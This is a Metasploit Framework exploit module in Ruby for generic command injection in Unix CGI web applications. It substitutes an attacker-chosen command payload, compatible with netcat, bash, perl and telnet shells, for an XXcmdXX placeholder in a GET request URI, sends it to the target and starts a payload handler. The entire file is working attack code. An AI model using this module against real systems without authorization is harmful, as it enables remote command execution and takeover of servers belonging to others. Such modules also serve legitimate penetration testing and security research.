##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Generic Web Application Unix Command Execution',
			'Description'    => %q{
					This module can be used to exploit any generic command execution vulnerability
				for CGI applications on Unix-like platforms. To use this module, specify the
				CMDURI path, replacing the command itself with XXcmdXX. This module is currently
				limited to forms vulnerable through GET requests with query parameters.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'References'     => [ ],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 1024,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl telnet netcat netcat-e bash',
						}
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Nov 14 1993', # CGI historical date :)
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('CMDURI', [true, "The full URI path with the XXcmdXX parameter", "/cgi-bin/generic?cmd=XXcmdXX"]),
			], self.class)
	end

	def exploit
		uri = datastore['CMDURI'].to_s
		uri,query = uri.split('?', 2)

		if query
			query = query.split('&').map{|var|
				k,v = var.split('=', 2)
				Rex::Text.uri_encode(k) + "=" + Rex::Text.uri_encode(v.gsub("XXcmdXX", payload.encoded))
			}.join('&')
			uri = uri + '?' + query
		end

		print_status("Sending HTTP request for #{uri}")
		res = send_request_cgi( {
			'global' => true,
			'uri'    => uri
		}, 30)

		if res
			print_status("The server responded with HTTP CODE #{res.code}")
		else
			print_status("The server did not respond to our request")
		end

		handler
	end

end
